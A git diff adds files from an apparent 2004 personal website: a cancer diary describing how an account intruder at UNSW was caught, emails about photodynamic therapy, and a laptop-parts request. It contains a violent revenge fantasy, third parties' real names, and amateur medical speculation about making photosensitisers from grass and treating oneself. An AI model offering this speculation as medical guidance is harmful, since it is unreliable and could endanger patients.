he's been denying +everything, but it turns out with this evidence in the above posting they +comprehensively nailed him that afternoon, cos he did show up at the +machine in question just like I said he would. The timestamps point to +security camera videos of the labs, so he can be verified sitting in front +of a particular machine and launching attacks from it correlating with the +conway logs and timestamps on the videos. In all likelihood this means + +0) academic misconduct is recorded in his files and fails his degree so 1) +he gets expelled from the university and 2) his student visa gets +cancelled and 3) he faces computer fraud charges and/or 3) he gets +deported anyway. + +Like, yeah, does the dude think, let's fuck with an account belonging to +someone who calls himself predator and see what happens? Geeeenius. When +ya log into conway.cat.org.au it sez this: + +Welcome to Catalyst - do not look into laser with remaining eye. + +It's a quote from uh.. Isaac Asimov, or is it Robert Heinlein. It has to +do with learning from mistakes that have serious penalties attached. He +would have seen it five times by now... unless he'd already stared twice +into serious lasers. The laser doesn't care (see also geek humour). + +I sorta do give a fuck but usually only one at a time... while I was uh, +non-performing, distracted, in the sack with the cookie manufacturer I was +thinking hard about wether to ride over to Randwick and sit down at the +adjacent terminal to the one he's stuffed full of hidden 'bots and proxies +and um, punch the piss out of him in front of the faculty security cameras +once he arrived and started typing things into a shell into my account. + +No, he didn't fuck up any of my files (they're backed up anyway). He +screwed with my account (which is sudo-capable mind you - superuser +powers) and screwed with a machine a lot of people depend on. And he read +my mail. Prick. And wasted a lot of your time reading about it here. + +Shayne at the guild at Murdoch says Marc Bell, who eventually nailed this +twit, should go easy on him. What do I think? Well, um, fuck him, whoever +he is. If Cookie Manufacturer hadn't invited me out for a fat-soaked +breakfast in Newtown there'd be a blood-soaked keyboard in Randwick - +amongst the prophylactics, massage oil and wireless networking hardware +there is a handy two foot length of 2x4 firewood in my backpack. +Fortunately for the script-kiddie, buggerall fuel in my 'cycle tank and I +was as hungry as hell. + +Arrrh. Why should I give a fuck any more? Oh, I dunno. Other people are +grateful: +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- + +Date: Thu, 26 Feb 2004 19:51:27 +1100 +From: Marc Bell +To: predator@cat.org.au +Subject: Re: (129.94.222.175) --- Machine with suspicious activity + +>To: Marc Bell +>cc: UNSW Network Security Centre , +> Graham Low 26/02/2004 04:41 , Geoff Gordon +> , Cong Tran PM , Matthew +> Tolhurst +> Subject: Re: (129.94.222.175) --- Machine with suspicious activity + +On Thu, 26 Feb 2004, Marc Bell wrote: + + +>> We got him. +>> +>> We've actually been tracking this guy for months since we suspected he was +>> the one that hacked our labs and got our admin accounts last year. But we +>> never had enough proof. But thanks to Predator (Mike? I think we know +>> you?), we've nailed it down. + +> Congratulations - good on ya guys! Persistence pays off. Need a formal +> written stat dec about this? Just ask. + +> Yeah, Mike Carlton's my real name. Don't be fooled by the drive-time AM +> radio shock-jock of the same cognomen. Tall, blond-haired, blue-eyed, +> black boots and no sense of decorum whatsoever? Yep, that's me. + +>> We found the lab PC (.175) running IRC and a browser history full of +>> proxies and SSH clients, but no person to be seen. The account had been +>> logged in since about 9:30pm. As we were discussing this with our IT +>> Director (Geoff Gordon), the accused actually came into the lab (we knew +>> what he looked like from previous encounters), saw us standing around the +>> machine, looked a bit worried, and turned to leave. Geoff called him over, +>> and we had some interesting dialogue with the guy. He slipped out that he +>> was running bots and sharing software, but insisted it was all a 'game'. +>> In the end, we informed him that the PC is under investigation for a security +>> breach, and then let him go. It was only after we got back to the office +>> that we found Mike's email that pin pointed the time in which the accused +>> was logged on to .175, and basically proves it all beyond doubt for us. We +> are currently obtaining security camera tapes to hopefully show him sitting +> at the PC at the time of the event. + +> Hmmm. I expect he won't be coming back to .175 rapidly. Did you actually +> get a real-world ID on the person in question? Hmmm. May have other +> machines similarly doing his bidding if he's been doing this stuff for as +> long as you say. + +>> We've almost had him before, but I think we've got him this time. Thanks go +>> to Mike for an email that's got us all very excited down here in the +>> commerce lab technical support office! + +> What?! Isn't my bad Darth Vader voice impersonation good enough? +> "Crash the network, Luke. It is your dessss-tiny!" 8-) +> Seriously tho, yeah, good on you all for keeping your eyes open and +> nabbing the chap... none of you need this hassle. Glad to help you out! + +>I'm curious to know how he cracked me - sniffer? Keylogger? + +>> Regards, +>> ___________________________________ +>> Marc Bell + +>Be well! + +> + +Yep, we thought it was you ;). Anybody trying to hack you is out of their +mind in my opinion, you certainly know your stuff. As it turns out, it was +his undoing in the end. + +You provided the missing link. The times in which he was doing the hacking, +and from what IP. Us finding his account logged in at that time, on that +machine with that IP, and him admitting he was logged in at that time, is +all we needed. That's the nail in the coffin. As I mentioned, we've had +evidence on this guy before, but he just denied it, and we were left with +no way to prove otherwise. + +He's not the smartest guy around. Initially we tracked him because his +proxies he was running on our machines last year were logging everything he +was doing. He forgot to untick the box 'Log File' in his little +application. From there we worked out where he was, which ultimately led to +us getting his student number and address. + +It turned nasty when he went from running proxy servers and system shut +down timers from one other student's account, to cracking other accounts. +Our admin accounts were some of them. This he would have done via somehow +installing services on our machines that logged keys or sniffed packets. +This was all around 6 months ago, and since we couldn't prove anything +concrete, we just had to make our systems more secure (which was the only +good outcome of the whole thing). Since then, he has only been able to run +his applications from his own student account. Once he was logged out, the +app stopped running. + +As for how he cracked your passwords, well it's hard to say. I've only +noticed one instance of a machine left logged in running a key logger. Have +you possibly used a PC in the lab that was already logged in without +logging them out? I would imagine he'd target the tutor machines mainly. + +Oh by the way, well spotted on the 'indonesian' thing. He is indonesian ;). + +Thanks again, +___________________________________ +Marc Bell, Computer Systems Officer, Technical Support Group +Faculty of Commerce and Economics, The University of New South Wales +___________________________________ + +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- + +Well well well. + +Terminology note: this dude was a cracker, not a hacker. + +Must Sleep now. Sinful evening tomorrow ;-) + + +------------ + +Friday. Nothing to talk about really, 'cept a nice evening snogging Zyn +under a fig on the Tarpeian way at Bennelong Point. The possums and fruit +bats in the trees freaked her out tho. When I rubbed her tummy my fingers +told me of a strange, large mass which has no business being in there. + +Joss rang up from Scotland and I was out. Mum answered the fone. Say no +more. + +Marg Mayhem, the chick who pays me to stand nakked for three hours in +front of a bunch of artistic strangers (and to whom I shall bequeath my +dead-tree format pr0n) sent me a great CD of grainy bitmaps of Fuji's +Jesus Freak party from a week before I went to hospital. Great images, +some of them. I'll slap 'em up on a webpage someplace I think. + + +It's saturday 28. + +Uh, yeah. I was crappin'on a few pages ago about carbonic anhydrase. It's +an enzyme expressed a lot by renal clear tumor cells like mine, for pH +regulation reasons. The thought had to do with vaccinating myself against +it. Would that be a cretinous idea? Where is it normally in the cell? I +was asking myself these questions as I dreamt. I was rudely woken by a +cold dog nose in the eyelid. + +I slept in 'cos I got home at 4am after dropping Zyn at her place in ... +South Wentworthville! Holy shit... a long way away. + +I woke up and walked the dog with the cold nose. On the way home I met a +local woman (Cathy) who held a mean-looking aussie bulldog on the end of a +lead and a cute looking fluffy poodle thing in her arm. We got chatting on +account of how the dogs interacted, which is the usual way of things, and +eventually I discovered that, for fuck's sake, her hubby has the same +cancer I do and is gettin' the chemo treatment with a free haircut without +clippers. I kept my trap shut about how these things don't give a rat's +about chemo. So we chatted about the usual boring cancer shit (didn't I +mention it takes over your conversation?) while her cute white fluffy +kamikazi attack-poodle thing skitzed out at Chloe (who was, as usual, took +it with calm dignified aplomb), and her *very* muscular bulldog latched +hard onto and started vigourously fucking my right leg. Cathy said he does +this to everyone so I shouldn't feel special. The friendly doggie, very +persistent, and was seriously enjoying it, too, had his pink out and all. +Cath and I kept chatting amidst this melee of bestiality and barking and I +eventually gave up trying to dissuade the dog from rooting my calf, so +people drove past, looked at this scene and smiled broadly, hooted their +horns, etc. + +I hosed my rather scratched-up leg off as soon as I got home. I know what +you're gonna ask me. The answer is no. + + +Dad's bugged me for a few days about going up and checking his server, +which according to an employee of his (who, wouldn't ya know it, has +appendicitis) has apparently `lost a drive' - which is to say the OS +doesn't know where it is any more. I went up today and checked it out, and +the fan in the power supply had seized, the machine was hot to the touch, +and the 40Gb drive to which they back up their important shit (you know, +medical records, accounts, the guts of the business) has been cooked to +death. So we shut it down, took it home and I cracked it open. + +Most people just crack open the main case and never crack open the power +supply. I cracked open the power supply too. I reckon if I'd left it +another week it'd have started a fire - when the fan siezed, other stuff +in the PSU started to cook ... there's charred sections of power supply +circuit board, electrolytic capacitors swollen to bursting point, oxides +growing on the feeds to the rectifiers, scaldmarks on the cowl. If this +thing had arced the vapours from the charring PCB would have lit up. + +So I swapped it out with the one I fixed in Jan, bolted in a couple of +additional big fans on the back of the chassis (ex the DECserver I from +which I built the case of my machine), brushed all the dust out of the +removable drive bay and CPU heatsink, (I am not sure why but fried dust +smells different to regular dust) and dropped in the 13Gb drive I found +last week so there can be a backup made right away. It goes, and roars the +roar of a box which moves a lot of air. I'm running it overnight for +observation. Dad reckoned I should charge him commercially for this (half +a grand?) but dad gets mates rates for this one, and I'm happy to do it. +Gotta look after each other. + +Shame about the dead drive. 40Gb down the toilet. Maybe if they'd mounted +it lower in the case it wouldn't have cooked. I mounted the replacement a +couple of bays down and had the odd thought that this machine's service +life will probably exceed mine. + + +Sunday: + +In memory of trees. + +The machine sat at room temperature all night, cool as a cucumber by +morning. When the oldies went around to my sister's place, I strapped into +my harness and got about 14m up the pine tree out the front, which the +neighbours want pruned 'cos it drops pine cones in their pool, the poor +dears. In the interests of good neighbourly relationships, I togged up in +the now frayed and dirty green seatbelt tape Mullet (who died in a 1995 +mountaineering accident) cut for me in about 1993, held together by a +steel screwgate krab I got in Nepal in 1994. Pines are easy to climb and +the sap of this one smelt delightful, hot off the blade of the saw as I +cut off the branches. It was a bit of a bugger tho when the gale came. I +should have seen it coming, knowing what the clouds look like when the +southerlies normally arrive but I was busy paying attention to sawing off +the northwestern top branches. I was clipped into both major trunks and +self-belaying, so when it hit I quickly hung another sling a bit higher +up, stowed the blade below me, on the main length of dyno rope I'd +normally used to lower the offcut branches, and just hung on while the +tree and I heaved to and fro for about a quarter of an hour. The wind was +loud and the tree's groaning noises and funny oscillation harmonics were +kind of exhilarating, actually, aside from the odd pine cone in the back +of the'ead. I was glad to be roped on, though. I was only a little bit +scratched after the front passed. + +Later on we re-instated dad's server. Walked doggie. Inspected cretinous +Sola UPS from Moz - which needs almost total disassembly before you can +change the damned batteries. Cleaned beer bottles for the next batch o' +home brew then realised I shouldn't drink beer 'cos the carb load feeds +the tumor. Gave a USB keyboard to XML and was subsequently, for reasons +unrelated to the keyboard, shagged by her - she's doing OK despite fucking +up her *other* knee in a motorcycle accident. And on the hunt for a +partner in a foursome. You go, girl! + + +Monday. + +Nosh at Nomes' place - she cooked Jil, Greg and I a delishoyummie chook +dinner and I've snarfed a couple of cds of hers for the purpose of +copying, because they're copy-controlled (ha ha not) and now I know how to +do it. At about 11pm I dropped Joss' books in at Balmain, I let myself in +with the key her mum gave me in December, and was also looking for Jude to +give me back my copy of TIHKAL. I discovered Carole was killing cockies in +the kitchen since to do so at other times of the day brought down the +oppropbium of the buddhists on the premises. + +The problem with Carole, if there is a problem with Carole, is that she +refuses to recognise hopeless cases for what they are, and offers me hope +where I really don't want any. I will, though, _have a go_ at this +oncogenic fucker. She thinks I should chop the neck thing out too. + +She was gonna send me some phototherapy stuff in the post but I picked it +up locally. She writes it's crap, but this is maybe a false alarm on her +well-abused bullshit detector. Here's the transcripts of the emails we've +sent about it. + + +Phototherapy + + +From predator@cat.org.au Thu Mar 4 02:33:30 2004 +Date: Wed, 3 Mar 2004 14:46:47 +1100 (EST) +From: predator@cat.org.au +To: carole hungerford +Subject: phototherapy + +Hi dude. No, phototherapy is not in my opinion crap, it relies on the +patient taking a prodrug, usually a chemical which when bashed with +photons of the right wavelength will fall apart into ... guess what .. +free radicals! Stuff enough free radicals into a cell and it'll start +taking lots of molecular-level damage, as you know (I must chat to you +about free-radical polymerisation someday). If this is a tumor cell and +you damage it enough, it'll die (not by apoptosis mind you, but usually by +necrosis - different processes entirely). Pharmo companies are starting to +cash in, if my spy in Sudler.com.au (M.Sc chemist) who does their +advertising is to be believed. I think they're peddling the +(photodegradative) hydrochloride salt of methylaminolevulinic acid for +about $350 a gram at Sigma Aldrich. The light source is some predictably +overpriced chunk o' semiconductor. + +The main wrinkles are: + +0) knowing where the damned met is so you can shine yer light on it. + +1) using frequencies of light which don't damage molecules in other cells. +Red is good for this, since it's e=hv is low since its wavelength is long. +Go shining lots of say, hard UV at cells and the nucleotides dimerise, +ionise, or otherwise fall to bits, the cells will die or become a tumor. +Red is also good since you can generate fairly wavelength-specific red +with various kinds of semiconductor light sources (light emitting diodes - +well developed tech 30 years old) and if you want super-specific aimable +monochromatic phase-locked light, you can use a laser (similar tech as +used in laser pointers). + +I think $1500 for the light source is a disgusting, absolutely outrageous +rip off. Trawl the Farnell catalog for such a device as a 2.5 watt red LED +with significant emission at 662nm, I bet it won't set you back more than +a couple of hundred bucks even without any constant-current driver +circuitry - and Farnell are considered expensive by the hobbyist community +(I'll go check this now). There's NO need for thermoelectric (peltier) +cooling, either, at such low dissipations. I'm off for a look. You don't +need laser light to do the photoconversion, just light of the right +frequency. Lasers happen to be better to aim and more profitable to sell +8-) + +(Hmmm... One could get a KTP frequency-doubling crystal and feed it with +something of double the wavelength to get the required light too. But +that's probably lossy and expensive too) + +Anyway, looking at the A/wavelength curve you could be about 10nm short or +long and still do the work of getting the chlorin to drop a singlet +oxygen. + +I've used real, floor-mounted Erbium lasers which can happily dump a few +joules into a 4 x 4 mm area in a fiftieth of a second. Everything dies, to +a depth of several mm. No need for such brute force with the prodrugs. + +I could make chlorin myself with my existing glassware and rusty chemist +skills and chems (acetone to extract, HCl to remove Mg, NaOH to saponify) +available at Hardwarehouse, from oh, I dunno, grass clippings! I've done +all of these sorts of simple workups myself many times. Patents for these +reactions are plainly ludicrous and easily circumvented. + +2) generating molecules which do in fact get taken up by tumor tissues. +Chlorin is a remnant of the standard kinds of metal-complexing porphyrins +which litter the photon-capturing machinery of the plant kingdom. In the +Russian paper you provided, there's really no need to get the chlorophyll +from spirulina (though its convenient). The acetone would pull across a +lot of other molecules with it tho, when doing the organic/aqueous phase +separation. You can make it from just about any plant with chlorophyll in +it (woody plants and cacti not recommended, the extraction is difficult, +in my experience). + +3) using molecules which arent intrinsically toxic anyway. Porphyrins are +normally torn safely to bits by hepatic cytochromes. Don't use this stuff +if you're jaundiced tho. + +The conference looks interesting. But wayyy too costly. + + +Cheeries... + + + +-------- + + +From predator@cat.org.au Thu Mar 4 02:33:40 2004 +Date: Wed, 3 Mar 2004 23:54:43 +1100 (EST) +From: predator@cat.org.au +To: carole hungerford +Subject: RE: phototherapy + + + +On Wed, 3 Mar 2004, carole hungerford wrote: + +> Well there you go. My bullshit detctor is way too sensitive. + +Don't knock it - a sensitive bullshit detector is well worth having since +there's soooo much concentrated, and sometimes subtle, bullshit out there. + +Light's just another kind of radiation, in a part of the spectrum for +which the tech is well-developed, because it's immediately visible to the +naked eye. Since we chem dweebs know how to fabricate bespoke molecules by +required bond length, and the semiconductor dweebs know how to dope +silicon with atoms which get excited and, in order to relax emit photons +at certain frequencies, we can make and destroy molecules photonically +pretty much as we please provided we can get 'em where we need 'em. + +> Maybe I was put off by the marketing technique, and the bad grammar. + +...and the rather criminally obscene, marketing-oriented price tags. I +just found some good 660nm red diodes in the Farnell catalog +optoelectronics section. Peak wavelength 660 (which is 2nm out from what +the paper uses, no big deal) 500mCd intensity, 12v feed with internal +resistor - these are a budget-smashing $1.15 each. Less in bulk! Farnell +PtyLtd operates in Chester Hill, Sydney. + +Class IIIa 670nm 3mW Lasers are around $500, if a fistful of diodes at +similar frequency don't take your fancy. + +Check out http://www.rcdc.nd.edu/compilations/Qy/QY2.htm for lists of +porphyrins which give good yields of singlet oxygen, if that sort of thing +interests you 8-) + +> Eisinger is the urologist interested in cancer and nutrition. I can give +> you a referral if you like. I'm interested in all your theories as to +> how to manage your cancer, but worry that you are spending a lot of time +> theorising, and not acshully doing anything. + +Mmm. Correct. I am - yes, *defaulting* is the word, I'm sort of resigned +to carking it, actually, which permits me to be stably elsewhere, +unworried, out having a life 8-) + +PET ... hmmm... suppose it could see down to 3 cells, that's several +million images to process - somehow I think not. If it could see down to +3mm, that's more plausible. The neck's already been CT'd (encapsulated +lymph node, no spread), the lump is smaller now than it was then, but +larger now than it was when FNAB'd on Jan 16th. + +> Apparently Keith is trying to call me, talk later. + +No worries. Catch ya later. + +> Carole + +;) + + +-------- + +It must be a bugger to be a doctor when a patient is uninterested in +trying very hard to get well cos they've gone and got what appears to be a +reasonable clue about what's killing 'em. + +I keep getting details-free emails about a mysterious expedition +people want me to go on but which nobody'll tell me about. + +Tues. I went out to Randwick. I saw Mary who is bright as a button today +though she sez she's not well. Amazingly an old squatmate of mine, Elias, +was riding his bicycle up through Bronte and spotted me, with my helmet +and everything on... hes pretty well. We stopped on the roadside briefly +for a chat. I was wearing the leather jacket he gave me in oh, 2001. He's +riding a very nice bicycle now, and I think working as a cook, and scoring +surplus Macintrash obtainium from an abandoned hospital somewhere in the +city. + +I dropped in at UNSW on the way back. The IT director Geoff Gordon wants +to hang the .. ahem ... The Cracker... out to dry, and I'm happy to help +him. I checked out the auth.logs, /var/log/messages, the syslogs, and did +a bit of benchtesting of the code which, impersonating me, he ran. But +he'd better hurry up. I'd be his star witness if the head of school and +associate Dean decide to prosecute the wanker, and I'm no good to them +dead. + +The cracker was launching attacks from my machine, against port 51 on a +few machines - one in Sydney, a couple of sites in Indonesia (indo.net, +and indosat.net) and also somewhere in Germany. While the program was +running it maxed-out the hub and ate up 94% of conway's CPU. Prick. I'm +not dead sure he ever managed to get his mIRC proxy running - too hard to +configure from the command line. + + +While I was in the general vicinity of Randwick I picked up a photocopy of +the document I sort of, more or less, consider to be my death sentence, +the original of which came from Douglas Hanley Moir pathology. I'd left it +in the care of Dave Goldstein, who I saw six weeks ago. He also said that +in my neck was nothing but the usual kinds of cells you'd expect from a +garden variety metastatic kidney cancer. Makes me want to take up +slasn-n-burn agriculture 8-). I'm gonna wave this under the noses of the +gits at APRA. Dr Goldstein's upcoming trial starts at the end of March. I +don't know what it is yet and there's no proposal written yet. For all I +know I might be dead by the end of it. + + +I got home early Wednesday morning and had sharp lower left lung pains +which increased when I breathed in. I'd just finished reading Iain Banks +"The Player Of Games" (and what a twist at the end!), and this jabbing +pain happens. Probably mets invading my lungs, fuckers. When I woke up +they were gone. Cancer fucks with your head... in the sense that every +time something randomly hurts without provocation, you think, oh, it's +*there* now. Prick. + + +---------- + +Electronic iatrogenesis. + +Last time I was at Turella Soz (to whom I will loan my motorcycle for the +Dykes on Bikes parade during the Mardi Gras on saturday night) gave me a +10/100mbit hub, which she felt was flaky. It was too, after running for a +long time - which is to say, it was overheated. I took it home, tested it +and yeah, it did indeed get hot and flaky. This is cos the main CPU, +something which came from the LEVEL ONE VLSI chip foundry, is heatsunk - +but inside a metal small box with no fan. I tried to pry off the heatsink +in order to replace it with some solid Al blocks to thermally couple the +chip to the case, but the damn thing peeled right off the PCB in one hit. +I am incapable of accurately soldering down 204 bent pins (a machine +soldered it all on in the first place) so I admitted defeat and tossed it. +Maybe I shouldda just drilled lotsa holes in the case. Oh well. Some, I do +lose. At least it wasn't a switch. + + +Passion of christ. + +I went and saw this with the parents. I was gonna wear my Children Born of +Satan shirt but it dissolved last time I washed it. Yawn. I shed no tears. +And, as I remember from what I learned in Rome in 1981 as a youngster the +Romans were better anatomists than to have their soldiers go nailing +people through the hands, they'da gone through something load-supporting, +like between the radius and ulna. Mel Gibson is to be congratulated on +producing a movie which is going to damage people's brains for the +remaining period of time in which this civilisation has a functional +electricity grid. Oh, it was so realistic, it must have happened, right? +Yep. But so what? Hundreds of thousands of cambodians and vietnamese, +maimed by napalm, bomb fragments or chemically impaired by synthetic +side-product in the defoliants dropped by the Yanks on those countries in +the late 1960s, took *years* to die, painfully, of their injuries. + +A Jewish mate of dad's reckons the movie is anti-semitic. Oh, for shit's +sake I'm bored of the semites complaining that their perception of +everyone who doesn't depict semites as lovable, error-free, uh... +ubermenschen is somehow anti-semitic. If anything the flick it's +anti-human-species-in-general - the romans were brutal, the semites were +shrewd, and these two things pretty much sum up the curse which is the +human condition everywhere generally to various extents. Anyway... any +bunch of people who go around saying "you're anti-us" is gonna find that +by the mere virtue of saying this the saying will become true. People get +annoyed by the accusation. + +Any culture that kills people's gonna make itself unpopular eventually by +nailing some loon who claims to be a god and will make 'em more popular by +doing it. And think about it, reader. The next person you meet on the road +who claims to be Jesus Christ is, playing the odds and mis-quoting Python, +probably not even a messiah, let alone a particular messiah. Try, prime +candidate for the loony bin. You'd decide to waste the dude even more +straightforwardly as the Jews or the Romans did, who played the same +administrative buck-passing games as we do with condemned prisoners now. + +Come to think of it, if you or the Romans or the Jews met the Buddha on +the road, you'd kill him too. S/he talks in riddles, is of indeterminate +gender and looks like he eats way too much. + + +Thurs. Mar4 + +This is a looonger file than the last one, mainly 'cos of the transcripts +of conversations I'm having with various people - the evidence of my +electronic life. I'm gonna trunc it and start on another one. + +If you don't get the following file it's not on the server yet. Be patient +8-) + +http://conway.cat.org.au/~predator/march.txt + diff --git a/index.html b/index.html new file mode 100644 index 0000000..7664482 --- /dev/null +++ b/index.html @@ -0,0 +1,92 @@ + + + + + +This is predator's elcheapo minimum effort web page. No, I don't care what +you think. + +

Wanted: parts/spares/discard Dell Latitude XPi +P75 notebooks / laptops +

Tropism-shaping: a +way out from the therapeutic dead +end of antiviral resistance +

Code snippets in C to calculate some stuff (thanks to +Andy Nicholson for guidance and bugfixes)

+benfords.c Calculates Benford's Law probability for a given symbol in +an N- +symbol set.
channelz.c calculates +Shannon's Channel Capacity for +N channels in bits per second, given bandwidth and Signal-to-noise +ratio.
bits_per.c which, for a set +of N symbols, tells you how many bits is intrinsic to each symbol. + +

+ +Click on the links below for approx 3Mb .PNG schematics for the (very old) +Kikusui 555 oscilloscope. + +

+External horizontal amp +
+High voltage rectifier +
+Horizontal Amplifier +
+Power +Supply and CRT stage
+Timebase +generator +
+Timebase +Timing Switch +
+Timebase +Trigger +
+Vertical Amplifier +
+ +Voltage +Calibrator + +Last updated March 29 2003

+ + + diff --git a/latitude.txt b/latitude.txt new file mode 100644 index 0000000..51a7e26 --- /dev/null +++ b/latitude.txt @@ -0,0 +1,32 @@ +My dear old laptop - restored after being given to me initially with the +screen hanging off by its data connector - is becoming hard to maintain, +so I'll eventually need spare bits for it, and since it's many years old, +crucial spares - like the power adaptor, and the drive module for the +display - are a bit hard to obtain. Hence I wish to build up a stock of +replacement guts for it. Redundant parts mean reliability. + +Therefore, kind reader, if you're tossing your old, used, beloved and +recently upgraded, Dell Latitude XPi P75D (or in fact any in that series, +with or without cdrom included, so we're talking Latitudes up to P166 I +guess) - regardless of its condition (though it helps if the display +works, the processor hasn't been pulled out, etc etc), - then please +consider the possibility of being paid a little by me to take it off your +hands. It would naturally be more convenient if you were somewhere in +Sydney, Australia, because this is where I live. If course if you just +want to be rid of the thing and know it's going elsewhere than landfill, +and feel like posting it to me, well, that's fine too. I'm not comfortably +wealthy. I do not use Windows, or possess a license for it, so I will +delete that off the harddisk if you donate it. + +If it happens that I eventually obtain a huge stock of these parts then +they will become a source for other people with dying Latitudes, who find +themselves in a similar situation. Spares help us all. Landfill doesn't +help anyone. + +Please email me at predator at cat dot org dot au, and we'll see if we +can't come to an arrangement. + + +Live long and prosper! + + diff --git a/losing_it.txt b/losing_it.txt new file mode 100644 index 0000000..c27f0d9 --- /dev/null +++ b/losing_it.txt @@ -0,0 +1,1277 @@ +I stashed an unfinished copy of this file in the directory where you find this +file now. Go read it all again. Much has been added. + + +File: losing_it.txt +Content: off we go into the first months of the rest of my life. + + +Life's going on. Fuck, january is nearly over. + +Randwick seems to be a place I return to a lot, and when I go there I see +a lot of people I know, generally by accident. I dropped in and saw old +Mary again, but she didn't have much time to talk since she was off to +dinner in the retirement hole (l and m are close on the keyboard but +that's not a typo). I bumped into my old protein biochemistry lecturer +Gary King on the footpath, and we had a bit of a yack about information +theory, he's heard of Stormo's work but Schneider is much better, I said. +I hadda chat to Graham so I know what I'll be doing for work this Feb, but +it's sub-optimally configured, there's a 3hour hole in the middle of the +daily schedule, for which I don't get paid. He's been trying to get me +interested in a phd for aaages and I told him a while ago about my uh, +foreshortening but he's still trying to get me interested in an +immunological approach to fraud detection. I read someone's hons thesis +about this, and although it was interesting of itself the error count +(from the biologist's perspective), and the crude nature of the project +when generally compared to what is actually implemented in living +organisms made it a somewhat annoying read. Anyway, fuck it, other things +interest me. How much information does a molecule contain? Quantify that +for the general case, and suddenly you know what's the *real* +computational load required to run life. It's all a computer, implemented +chemically, but saying that's silly until there's math to support it. + + +I went to see Dave Goldstein, the staff specialist out at Prince of Wales, +recommended to me by Paul. His office waiting room is populated by people +who look like they're dying, either exhibiting that grey pallor of the +metabolically broken, or are totally devoid of hair... eyelashes, +eyebrows, the works. There are posters on the wall about a wig library +for these people whose hair has fallen out entirely. I asked him why he +got into oncology and he mentioned it was 'cos his dad was killed by brain +cancer. Um. Yeah. I asked for that. I guess if he has any baggage it's the +right sort. He reckons chemokines such as he is able to administer +(interleukin, interferon, inter-galactic-hyperdrive, inter-yer-arm) apart +from being as expensive as hell are gonna make me very, very sick, for +very likely bugger-all benefit, and if I do decide to take 'em it should +be when I'm full of lumps. If I'm slugged out in bed for six months, +that's very likely to be a total loss unless I'm full of something +aggressive which would wipe me out in less than six months. It cures about +three percent of people. + +There's some vaccine stuff going on in Brissie and Melbourne, which might +make use of the chunk o' kidney tumor I kept on ice, but I'd have to go +down there and check it out. There's also some experimental (read: failure +prone) vaccine stuff going on with POW in July, and I've volunteered to be +a guinea pig for that. It's a vaccine which works by provoking an immune +reaction to your own angiogenesis signalling proteins, which I imagine +might prove something of a problem since I can see it inhibiting healing +and regrowth which requires microvascularisation to work properly. Trust +your mechanic? Uh, no. + +Bill The Lump was still palpable. I asked if someone'd suck some of Bill +out and slap it on a slide and he said he could arrange it in a few +seconds. Cool. Finally. I went upstairs to the lab services level. + +The FNAB (fine needle aspirate biopsy) happened in a small room just up +the corridor from where I'd spent a year doing honours in pathology in +Bill Rawlinson's virus research student torture chamberrrr, uh, yeah, +laboratory. + +A chap with more k's and z's in his surname than is normal for anyone of +non-Polish origin gently aimed a 25 gague needle at Bill and sunk it into +my neck, which didn't feel pleasant but didn't feel too bad either. + +Withdrawing the plunger to create a vacuum, and moving the tip around to +grab as many cells as possible, he used the syringe to suck some of the +guts out of the node. He removed the needle, slapped the contents of the +syringe barrel on a slide, stained it, took it to the next room and gawked +at it through a binocular stereomicroscope, and came back to tell me it +had abnormal cells in it. Well, duh. He wanted more tissue so went in +again with a 23 gague needle (fine, but noticable, like a REALLY BIG +mozzie) and sucked out some more of the lymph node's guts. It'll take 'em +a couple of days to get it characterised properly. He's encouraged that +it's smaller. I'm not fooled. + +I feel sort of ashamed to say I was shanghaid on the Newtown footpath by a +bunch of very smooth (what did Joss call 'em? Chuggers?) spruikers, +looking for donations for the World Wildlife Fund. Fuck, signing up was a +painful process, but by the time I'd filled in the form I'd come to the +conclusion that I'd been had - I was prepared to cough 'em bux for a year, +but there was no `end date' on the form. Anywhere. I felt like a prick +when i walked into the bank the next day and closed the bank account to +which they had monthly auto withdrawl authority, and started another one, +but fuck 'em, if enviro charities are gonna be greedy, they can fuck off. +I notice you *can* tell these people you're not gonna live long enough to +see any benefit to the environment from your donation and they won't care. +Maybe my susceptibility to these people is some sort of diagnostic clue +that I am not really convinced I'm dying, but maybe not. Rather like the +paired facts that I'm a pill-popping freak but I just don't have any +resistance left against the gustatory attractions of the humble tim-tam. + + +Next day I did most of the fiddly renov bits in the sibling's kitchen and +it's starting to look fit for human habitation again. Amazingly, before I +did the second coat of paint under the benchtop, there was already +something-or-other splattered on the freshly painted wall, 'cos she +doesn't aim at anything, like, say, the garbage bag, when disposing of her +garbage. The new pine (I choose the knotty plank because it has more +character) shelves are cut and mounted, the oven top has a new circuit +breaker, we're ready for the next coat. The usual filth is already piling +up in the sink. + +I also fixed her bedroom light, which she broke while trying to change the +bulb, which is diagnostic of (why is there no character on keyboards for +biting one's tongue?) ... well, a certain level of mechanical ineptitude. +I replaced it with something made entirely of metal so she'll have a +harder time trying to destroy it. + +In the arvo I was trawling the 'Clan list. Lots of people are bitchin' +about how the Port Kembla copper smelter is suddenly submerged in a thick +soup of security dweebs (driving teensy little security cars and +pretending they're V8's) after last week's mass expedition. I thought that +I should go check out a storm drain near Guildford, discovered by Stray, +and mentioned enthusiastically by someone-or-other who had explored it. Of +course it pissed rain just before I left. + +It's off Duck River. Fuck River is the cognomen a tedious drain which Melb +clan found on their first northern foray into Sydney, and the poor +reputation of the drain so named has discouraged any exploration on the +banks of the homophonic Duck River of which it is a minor tributary. We +did not, by the way, see any ducks. + +It had rained heavily in the late arvo, everything was damp, the flow was +up. Siolo and Stray arrived. Access was via the outlet, which is a massive +concrete-walled sediment pond, in the middle of the only remnant of clay +plains paperbark swamp forest anywhere in the entire Sydney basin - the +rest has been flattened over the last two centuries so people can have +sports fields for important stuff like soccer training. Getting in was a +little bit hard core; after walking through the reeds which were all blown +flat by the flood surge, we had to pass through a sump and while walking +in we were all submerged up to our nipples in fresh, clean, cold rainwater +- exhilarating after a hot sticky day. We climbed out dripping with drain +juice into an unusually huge pipe, about three metres diam, with almost no +graffiti on it (the local bomber crews and tag artists are presumably +dissuaded by the swim). It has a couple of funky rooms, some shape +changes, and comes out at a mega-security fence with air-tube vibration +sensors tied to it, in the other end of the tiny little remnant of +paperbark forest for which this drain is the hydraulic linkage. So we went +back down the drain and came out where we got in. I think Siolo got some +shots of me with my shirt off up to my armpits in drain outlet pondwater. +He tells me Fishie's had the Cave Clan logo tattooed on his arm. Wow. + +Fortunately for you, reading this rant, some of my days disappear in a +haze of mundanity so trivial it isn't worth the effort of recording. The +'net's full of enough crap as it is. So you miss a tedious thursday. I +think I got up a tree with a 